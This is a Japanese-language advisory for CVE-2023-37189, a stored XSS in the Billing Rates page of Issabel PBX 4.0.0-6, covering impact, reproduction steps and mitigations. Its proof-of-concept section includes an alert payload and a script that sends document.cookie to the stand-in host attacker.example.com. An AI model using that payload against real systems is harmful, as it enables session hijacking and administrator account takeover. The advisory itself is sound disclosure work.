CVE-2023-37189 — Issabel PBX 4.0.0-6 格納型クロスサイトスクリプティング (XSS)

概要

説明

Issabel PBX バージョン 4.0.0-6 の Billing Rates 管理ページ (index.php?menu=billing_rates) に、格納型クロスサイトスクリプティング (XSS) の脆弱性が存在します。

Issabel PBX は、FreePBX/Asterisk 上に構築された広く使用されているオープンソースのユニファイドコミュニケーション (UC) プラットフォームです。その Billing → Rates 機能により、管理者はカスタムの Name と Prefix を持つ通話料金エントリを定義できます。入力のサニタイズと出力のエンコーディングが不十分なため、認証された攻撃者はどちらかのフィールドに任意の HTML または JavaScript を注入できます。悪意のあるスクリプトはアプリケーションのデータベースに永続的に保存され、その後 Rates ページにアクセスしたすべてのユーザー (他の管理者を含む) のブラウザ上で、追加の操作なしに自動的に実行されます。

この種の脆弱性は、管理パネルでは特に危険です。なぜなら:

• 他の管理者のセッションクッキーを乗っ取り、完全なアカウント乗っ取りにつなげるために使用される可能性があります。
• 被害者に配信されるページの外観を変更することで、フィッシング攻撃を可能にします。
• CSRF トークンの窃取、キーロギング、悪意のあるサイトへのリダイレクトを容易にする可能性があります。
• ペイロードは明示的に削除されるまで永続化するため、時間の経過とともに無制限の数の被害者に影響を与える可能性があります。

脆弱性の詳細

• 脆弱性クラス: 格納型 (永続型) クロスサイトスクリプティング (CWE-79)
• 攻撃経路: ネットワーク
• 認証の要否: 必要 (低権限の認証ユーザーまたは管理者アカウント)
• ユーザー操作: 必要 (被害者が Billing Rates ページにアクセスする必要があります)
• スコープ: 変更あり (攻撃者は他のユーザーのブラウザセッションに影響を与えることができます)
• 根本原因: 保存された値をページに再描画する際に、Name フィールドと Prefix フィールドに対する HTML エンコーディング / 出力サニタイズが欠如していること。

概念実証 (PoC)

以下のペイロードを Create New Rate フォームの Name または Prefix フィールドに入力すると、この脆弱性を実証できます:

基本のアラート (機能確認):

<script>alert('XSS')</script>

セッションクッキーの窃取 (attacker.example.com は、自分が所有し使用を許可されているサーバーに置き換えてください — 実際のユーザーやシステムを標的にしないでください):

<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

画像ベースの onerror ペイロード (WAF バイパス):

⚠️ 注記: これらのペイロードは、教育およびセキュリティ研究の目的のみで提供されています。所有していないシステムでテストする前に、必ず適切な書面による許可を取得してください。

再現手順

1. 管理者アカウントを使用して Issabel PBX の Web インターフェースにログインします。

2. Reports → Billing → Rates に移動します (URL: index.php?menu=billing_rates)。

3. "Create New Rate" をクリックし、Prefix または Name フィールドに細工した XSS ペイロードを入力します。

   

4. Save をクリックします。ペイロードはデータベースに保存されます。

5. Billing Rates ページにアクセスしたすべてのユーザー (他の管理者を含む) は、ブラウザ上でスクリプトが自動的に実行されます。

   

   

影響

• セッションハイジャック: 攻撃者はセッションクッキーを窃取し、他のユーザーや管理者になりすますことができます。
• 権限昇格: 管理者セッションを乗っ取ることで、低権限の攻撃者が完全な管理制御を取得できます。
• データの外部流出: ページに表示される機密情報が静かに外部へ持ち出される可能性があります。
• 永続的なバックドア: ペイロードは手動で削除されるまでアクティブな状態が続くため、永続的な脅威となります。

緩和策 / 修正方法

ベンダーとシステム管理者は、以下の対策を適用することを推奨します:

1. 出力エンコーディング: 保存された値を HTML ページに再描画する際に、コンテキストに応じた HTML エンコーディングを適用します (例: PHP の htmlspecialchars() を ENT_QUOTES とともに使用)。これは XSS に対する最も重要かつ信頼性の高い防御策です。
2. 入力検証: 二次的な多層防御策として、サーバー側でユーザー入力の拒否またはサニタイズを行います。データを保存する前に HTML 特殊文字 (<, >, ", ', &) を除去またはエンコードします。入力検証のみではバイパスされる可能性があるため、唯一の対策として依存すべきではないことに注意してください。
3. コンテンツセキュリティポリシー (CSP): インラインスクリプトの実行を制限するため、厳格な Content-Security-Policy HTTP ヘッダーを展開します。
4. Web アプリケーションファイアウォール (WAF): 多層防御策として、XSS 検出ルールを持つ WAF を使用します。
5. 定期的なセキュリティ監査: すべてのユーザー制御の入力フィールドに対して、定期的なコードレビューとペネトレーションテストを実施します。

参考文献

• NVD – CVE-2023-37189
• MITRE CVE – CVE-2023-37189
• OWASP: クロスサイトスクリプティング (XSS)
• CWE-79: Web ページ生成時の入力の不適切な無害化
• Issabel PBX – 公式ウェブサイト
• IssabelFoundation/issabelPBX – GitHub

免責事項

このリポジトリおよびここに含まれる情報は、教育およびセキュリティ研究目的のみで提供されています。著者は、提供された情報によって引き起こされた誤用や損害について一切の責任を負いません。セキュリティテストを実施する前に、必ずシステム所有者から明示的な書面による許可を取得してください。

発見および報告: Sahil Ojha